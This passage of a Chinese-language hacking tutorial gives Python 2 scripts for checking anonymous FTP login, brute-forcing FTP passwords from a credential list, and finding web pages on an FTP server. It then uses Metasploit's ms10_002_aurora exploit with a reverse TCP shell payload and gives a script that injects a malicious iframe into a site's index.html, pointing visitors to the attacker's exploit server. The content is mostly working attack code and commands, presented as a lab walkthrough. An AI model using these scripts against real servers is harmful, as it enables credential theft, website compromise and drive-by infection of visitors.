'what')
-
print
'\n[*] ' + str(hostname) +
' FTP Anonymous Logon Succeeded.'
-
ftp.quit()
-
return
True
-
except Exception,e:
-
print
'\n[-] ' + str(hostname) +
' FTP Anonymous Logon Failed.'
-
-
def main():
-
while
True:
-
hostname = raw_input(
"Please enter the hostname: ")
-
anonLogin(hostname)
-
print
-
-
if __name__ ==
'__main__':
-
main()
运行结果:
使用Ftplib暴力破解FTP用户口令
同样是通过ftplib模块,结合读取含有密码的文件来实现FTP用户口令的破解:
-
#!/usr/bin/python
-
#coding=utf-8
-
import ftplib
-
-
def bruteLogin(hostname,passwdFile):
-
pF = open(passwdFile,
'r')
-
for line
in pF.readlines():
-
username = line.split(
':')[
0]
-
password = line.split(
':')[
1].strip(
'\r').strip(
'\n')
-
print
'[+] Trying: ' + username +
'/' + password
-
try:
-
ftp = ftplib.FTP(hostname)
-
ftp.login(username,password)
-
print
'\n[*] ' + str(hostname) +
' FTP Logon Succeeded: ' + username +
'/' + password
-
ftp.quit()
-
return (username,password)
-
except Exception, e:
-
pass
-
print
'\n[-] Could not brubrute force FTP credentials.'
-
return (
None,
None)
-
-
host =
'10.10.10.128'
-
passwdFile =
'ftpBL.txt'
-
bruteLogin(host,passwdFile)
运行结果:
其中ftbBL.txt文件:
【个人修改的代码】
小改一下:
-
#!/usr/bin/python
-
import ftplib
-
-
def bruteLogin(hostname,passwdFile):
-
pF=open(passwdFile,
'r')
-
for line
in pF.readlines():
-
username=line.split(
':')[
0]
-
password=line.split(
':')[
1].strip(
'\r').strip(
'\n')
-
print
'[+] Trying: '+username+
"/"+password
-
try:
-
ftp=ftplib.FTP(hostname)
-
ftp.login(username,password)
-
print
'\n[*] '+str(hostname)+
' FTP Logon Succeeded: '+username+
"/"+password
-
return (username,password)
-
except Exception,e:
-
pass
-
print
'\n[-] Could not brute force FTP credentials.'
-
return (
None,
None)
-
-
def main():
-
while
True:
-
h=raw_input(
"[*] Please enter the hostname: ")
-
f=raw_input(
"[*] Please enter the filename: ")
-
bruteLogin(h,f)
-
print
-
-
if __name__ ==
'__main__':
-
main()
运行结果:
在FTP服务器上搜索网页
有了FTP服务器的登录口令之后,可以进行测试该服务器是否提供Web服务,其中检测通过nlst()列出的每个文件的文件名是不是默认的Web页面文件名,并把找到的所有默认的网页都添加到retList数组中:
-
#!/usr/bin/python
-
#coding=utf-8
-
import ftplib
-
-
def returnDefault(ftp):
-
try:
-
#nlst()方法获取目录下的文件
-
dirList = ftp.nlst()
-
except:
-
dirList = []
-
print
'[-] Could not list directory contents.'
-
print
'[-] Skipping To Next Target.'
-
return
-
-
retList = []
-
for filename
in dirList:
-
#lower()方法将文件名都转换为小写的形式
-
fn = filename.lower()
-
if
'.php'
in fn
or
'.asp'
in fn
or
'.htm'
in fn:
-
print
'[+] Found default page: '+filename
-
retList.append(filename)
-
return retList
-
-
host =
'10.10.10.130'
-
username =
'ftpuser'
-
password =
'ftppassword'
-
ftp = ftplib.FTP(host)
-
ftp.login(username,password)
-
returnDefault(ftp)
运行结果:
【个人修改的代码】
-
#!/usr/bin/python
-
#coding=utf-8
-
import ftplib
-
-
def returnDefault(ftp):
-
try:
-
#nlst()方法获取目录下的文件
-
dirList = ftp.nlst()
-
except:
-
dirList = []
-
print
'[-] Could not list directory contents.'
-
print
'[-] Skipping To Next Target.'
-
return
-
-
retList=[]
-
for fileName
in dirList:
-
#lower()方法将文件名都转换为小写的形式
-
fn = fileName.lower()
-
if
'.php'
in fn
or
'.htm'
in fn
or
'.asp'
in fn:
-
print
'[+] Found default page: ' + fileName
-
retList.append(fileName)
-
-
if len(retList) ==
0:
-
print
'[-] Could not list directory contents.'
-
print
'[-] Skipping To Next Target.'
-
-
return retList
-
-
def main():
-
-
while
True:
-
host = raw_input(
'[*]Host >>> ')
-
username = raw_input(
'[*]Username >>> ')
-
password = raw_input(
'[*]Password >>> ')
-
-
try:
-
ftp = ftplib.FTP(host)
-
ftp.login(username,password)
-
returnDefault(ftp)
-
except:
-
print
'[-] Logon failed.'
-
-
print
-
-
if __name__ ==
'__main__':
-
main()
运行结果:
在网页中加入恶意注入代码
这里主要提及利用之前的极光漏洞,先在Kali中打开Metasploit框架窗口,然后输入命令:
search ms10_002_aurora
use exploit/windows/browser/ms10_002_aurora
show payloads
set payload windows/shell/reverse_tcp
show options
set SRVHOST 10.10.10.160
set URIPATH /exploit
set LHOST 10.10.10.160
set LPORT 443
exploit
运行之后,分别在win 2k3 server和XP上访问http://10.10.10.160:8080/exploit 站点,虽然得到了连接信息但是没有得到shell,可能是因为IE浏览器的版本不存在极光漏洞吧:
过程清晰之后,就实现往目标服务器的网站文件中注入访问http://10.10.10.160:8080/exploit的代码即可,整个代码如下:
-
#!/usr/bin/python
-
#coding=utf-8
-
import ftplib
-
-
def injectPage(ftp,page,redirect):
-
f = open(page +
'.tmp',
'w')
-
#下载FTP文件
-
ftp.retrlines(
'RETR ' + page,f.write)
-
print
'[+] Downloaded Page: ' + page
-
f.write(redirect)
-
f.close()
-
print
'[+] Injected Malicious IFrame on: ' + page
-
#上传目标文件
-
ftp.storlines(
'STOR ' + page,open(page +
'.tmp'))
-
print
'[+] Uploaded Injected Page: ' + page
-
-
host =
'10.10.10.130'
-
username =
'ftpuser'
-
password =
'ftppassword'
-
ftp = ftplib.FTP(host)
-
ftp.login(username,password)
-
redirect =
'<iframe src="http://10.10.10.160:8080/exploit"></iframe>'
-
injectPage(ftp,
'index.html',redirect)
运行结果: